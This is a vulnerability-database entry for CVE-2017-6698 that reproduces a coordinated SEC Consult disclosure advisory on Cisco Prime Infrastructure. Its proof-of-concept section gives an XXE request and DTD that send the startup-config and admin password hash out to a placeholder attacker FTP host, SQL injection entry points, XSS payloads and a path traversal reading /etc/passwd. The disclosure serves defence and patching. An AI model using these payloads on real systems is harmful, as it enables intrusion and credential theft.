ID

VAR-201707-0908

CVE

CVE-2017-6698

TITLE

Cisco PI and EPNM of SQL In the database interface SQL Injection vulnerability

DESCRIPTION

A vulnerability in the Cisco Prime Infrastructure (PI) and Evolved Programmable Network Manager (EPNM) SQL database interface could allow an authenticated, remote attacker to impact the confidentiality and integrity of the application by executing arbitrary SQL queries, aka SQL Injection. More Information: CSCvc23892 CSCvc35270 CSCvc35626 CSCvc35630 CSCvc49568. Known Affected Releases: 3.1(1) 2.0(4.0.45B). Vendors have confirmed this vulnerability Bug ID CSCvc23892 , CSCvc35270 , CSCvc35626 , CSCvc35630 , CSCvc49568 It is released as.Information may be obtained and information may be altered. An attacker can leverage this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. This issue is tracked by Cisco Bug ID's CSCvc23892, CSCvc35270, CSCvc35626, CSCvc35630 and CSCvc49568. PI is a set of wireless management solutions through Cisco Prime LAN Management Solution (LMS) and Cisco Prime Network Control System (NCS) technologies; EPNM is a set of network management solutions. A remote attacker could exploit this vulnerability by sending URLs with malicious SQL statements to the affected application to affect the integrity and confidentiality of the application. SEC Consult Vulnerability Lab Security Advisory < 20170622-0 > ======================================================================= title: XML External Entity Injection (XXE), SQL Injection, Cross Site Scripting, Local File Disclosure product: Cisco Prime Infrastructure vulnerable version: 1.1 through 3.1.6 fixed version: 3.1.6 Update 1 (patch), 3.1.7 (future release) CVE number: CVE-2017-6662, CVE-2017-6698, CVE-2017-6699, CVE-2017-6700 impact: high homepage: http://www.cisco.com/c/en/us/products/cloud-systems-management/prime-infrastructure/index.html found: 2016-11-21 by: P. Morimoto (Office Bangkok) SEC Consult Vulnerability Lab An integrated part of SEC Consult Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Cisco Systems, Inc. (known as Cisco) is an American multinational technology conglomerate headquartered in San JosA(c), California, that develops, manufactures, and sells networking hardware, telecommunications equipment, and other high-technology services and products. Through its numerous acquired subsidiaries, such as OpenDNS, Cisco Meraki, and Cisco Jasper, Cisco specializes into specific tech markets, such as Internet of Things (IoT), domain security, and energy management." Source: https://en.wikipedia.org/wiki/Cisco_Systems Business recommendation: ------------------------ SEC Consult recommends to install the latest patch to fix the identified vulnerabilities. Furthermore, the Cisco Prime Infrastructure should be reachable only from trusted internal network and/or whitelisted IP addresses. Since SEC Consult only performed a short security crash test on this product it is highly recommended to perform a thorough security review as there are indications for further vulnerabilities. Vulnerability overview/description: ----------------------------------- SEC Consult was able to identify some serious vulnerabilities with the low privileged "monitor-only" user. 1) XML External Entity Injection (CVE-2017-6662) The used XML parser is resolving external XML entities which allows attackers to read files and send requests to systems on the internal network (e.g port scanning). The vulnerability can be exploited by a low privileged read-only user to read sensitive information files with malicious XML code. The hashed password of the local admin user can be accessed without authorization. 3) Cross site scripting (CVE-2017-6699, CVE-2017-6700) Due to the lack of input validation, an attacker can insert malicious JavaScript code to be executed under a victim's browser context. 4) Local File Disclosure (no CVE assigned) Because of insufficient input validation, arbitrary local files can be disclosed. Files that include passwords and other sensitive information can be accessed. Proof of concept: ----------------- 1) XML External Entity Injection (CVE-2017-6662) Login with a low privileged user and navigate to Settings > Export > select Format 'PDF' click 'Export'. Make sure the 'Chart' option is selected, this chart uses XML to build SVG images. POST /webacs/prime/ui/dashboard/renderer HTTP/1.1 Host: <CiscoPrimeHost> [...] output-type=pdf&content={"applicationName":"sectest","reportName":"Site","options":{},"timezoneOffset":0,"items":[{"options":{"filters":[],"additionalInfo":[""]},"svgSurface":{"svg":"<%3fxml+version%3d\"1.0\"+encoding%3d\"UTF-8\"%3f><!DOCTYPE x [<!ENTITY %25 foo SYSTEM \"http://<AttackerHost>:1234/sectest.dtd\">%25%66%6f%6f%3b%25%70%61%72%61%6d%31%3b]><svg+xmlns%3alink%3d\"http%3a//www.w3.org/1999/xlink\"+xmlns%3d\"http%3a//www.w3.org/2000/svg\"><defs/><text>%26%65%78%66%69%6c%3b</text></svg>","dims"%3a{"width"%3a0,"height"%3a0}},"csv"%3a"Devices,\"","title"%3a"","timestamp"%3a""}],"noBrandingData"%3atrue,"locale"%3a"en"}&pdfOptions=%7B%22table%22%3Atrue%2C%22chart%22%3Atrue%7D $ cat sectest.dtd <!ENTITY % data SYSTEM "file:///storedconfig/active/startup-config"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://<Attacker>:2121/%data;'>"> $ python -m SimpleHTTPServer 1234 $ wget https://raw.githubusercontent.com/ONsec-Lab/scripts/master/xxe-ftp-server.rb $ ruby xxe-ftp-server.rb FTP. New client connected < USER anonymous < PASS Java1.8.0_66@ > 230 more data please! < TYPE I > 230 more data please! < CWD ! > 230 more data please! < hostname <CiscoPrimeHost> [...] < ! > 230 more data please! < username admin password hash <AdminHashedPassword> > 230 more data please! < CWD role admin > 230 more data please! < ! [...] 2) SQL Injection (CVE-2017-6698) A low privileged user such as "monitor-only" user can read the admin's password hashes via SQL injection. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_RECENT_LINKS?categoryPath=global%2fPI_RECENT_LINKS<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/syslog_viewer_tutorial?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/device-rest/getfiltercriteria/device?start=0&count=100&id=<SQL-Injection>&path=%2Froot Some vulnerable entry points require administrator privileges to exploit. https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/PI_HOME_PAGE_SELECTION?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/corelated-right-tabs?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/wap/preference/value/@@me/DASHBOARD_CONFIG:com_cisco_xmp_web_page_smartlicense_dashboard?categoryPath=<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/userService/getAuditRecordsForGivenRange/?userName=/<SQL-Injection>&ipAddress=/<SQL-Injection>&time=/<SQL-Injection>&auditDescription=/<SQL-Injection>&userGroup=/<SQL-Injection>&activeDomain=/<SQL-Injection> https://<CiscoPrimeHost>/webacs/inventoryRestService/ifm/inventory-rest/getImportTaskStatusDTO/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getJobDetails/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobsCtr/Infrastructure/<SQL-Injection> https://<CiscoPrimeHost>/webacs/rs/json/jobSchedulerService/getAllJobs/<SQL-Injection>/Lightweight%20AP%20Operational%20Status Some URLs with this pattern are affected by the SQL injection vulnerability in the JSON field. https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.proxy/ (HTTP POST) { "items": [ "<SQL-Injection>", "ProxyPort", "ProxyUserName", "ProxyPassword", "isProxyEnabled", "isProxyAuthenticated" ] } https://<CiscoPrimeHost>/webacs/rs/preferences/systemPreferencesForNode/default.swim/ (HTTP POST) { "items": [ "<SQL-Injection>", "CCOPassword" ] } 3) Cross site scripting a) Reflected cross site scripting (CVE-2017-6699) https://<CiscoPrimeHost>/webacs/applications/common/jsp/SystemPreferences_Configurable.jsp?taskName=<img+src=x+onerror=alert(/XSS1/)>&confUrl=</ScR</ScRipT>ipT><img+src=x+onerror=alert(/XSS2/)> https://<CiscoPrimeHost>/webacs/applications/inventory/html/ImportJobResults.jsp?taskId=</sc</script>ript><img+src=x+onerror=alert(/XSS1/)>&jobResultPageId='><img+src=x+onerror=alert(/XSS2/)> b) DOM-based cross site scripting (CVE-2017-6700) https://<CiscoPrimeHost>/webacs/index_abs.jsp?theme=prime#pageId=com_cisco_ifm_ui_web_page_job_dashboard_import_view&taskId=<ExistingTaskID>&jobName="><img src=x onerror=alert(/XSS/)>&pageSettings= https://<CiscoPrimeHost>/webacs/loginAction.do?action=login&product=wcs&selectedCategory=en#pageId=com_cisco_ifm_ui_web_page_job_dashboard_detail_view&forceLoad=true&jobType=Infrastructure&workState=Scheduled&parentType=usrDefined&lastRunJobId=<ExistingJobId>&lastRunResultState=Success&jobId=<ExistingJobId>&jobName=Mobility Service Status&jobBreadcrumName="><img src=x onerror=alert(/XSS/)> 4) Local File Disclosure The attacker must be in the super users or admin group in order to exploit this vulnerability. https://<CiscoPrimeHost>/webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd GET /webacs/packetCaptureAction.do?command=download&filename=../../../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: <CiscoPrimeHost> [...] HTTP/1.1 200 OK Cache-Control: private Expires: Thu, 01 Jan 1970 01:00:00 CET Content-Disposition: attachement; filename="../../../../../../../../../../../../../../../../../../../../etc/passwd.zip" Content-Type: application/zip [...] $ unzip _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip Archive: _.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._.._etc_passwd.zip warning: skipped "../" path component(s) in ../../../../../../../../../../../../../../../../../../../../etc/passwd inflating: etc/passwd $ cat etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt [...] Vulnerable / tested versions: ----------------------------- According to information provided by Cisco, the following versions are affected: 1.1 through 3.1.6 SEC Consult tested the following versions which were the most recent ones at the time of discovery: * 3.1.0.0.70 * 3.1.0.0.132 incl. 3.1.4 patch Vendor contact timeline: ------------------------ 2016-11-23: Contacting vendor through psirt@cisco.com. 2016-11-23: Initial response from Cisco PSIRT. 2016-11-24: Additional vulnerabilities added. 2016-12-14: Cisco proposed target date for the fixes for March 2017. 2017-03-03: Cisco postponed target date for the fixes to 31 May 2017. 2017-05-16: Cisco postponed target date for the fixes to 21 June 2017. 2017-06-14: CVEs are assigned to the vulnerabilities. 2017-06-21: Patches available 2017-06-22: Coordinated release of security advisory. Solution: --------- Install the patch version 3.1.6 Update 1. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/Career.htm Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/About/Contact.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Pichaya Morimoto / @2017

AFFECTED PRODUCTS

CVSS

PROBLEMTYPE DATA

THREAT TYPE

remote

TYPE

SQL injection

CONFIGURATIONS

PATCH

EXTERNAL IDS

REFERENCES

CREDITS

Pichaya Morimoto

SOURCES

LAST UPDATE DATE

2024-11-23T22:38:28.152000+00:00

SOURCES UPDATE DATE

SOURCES RELEASE DATE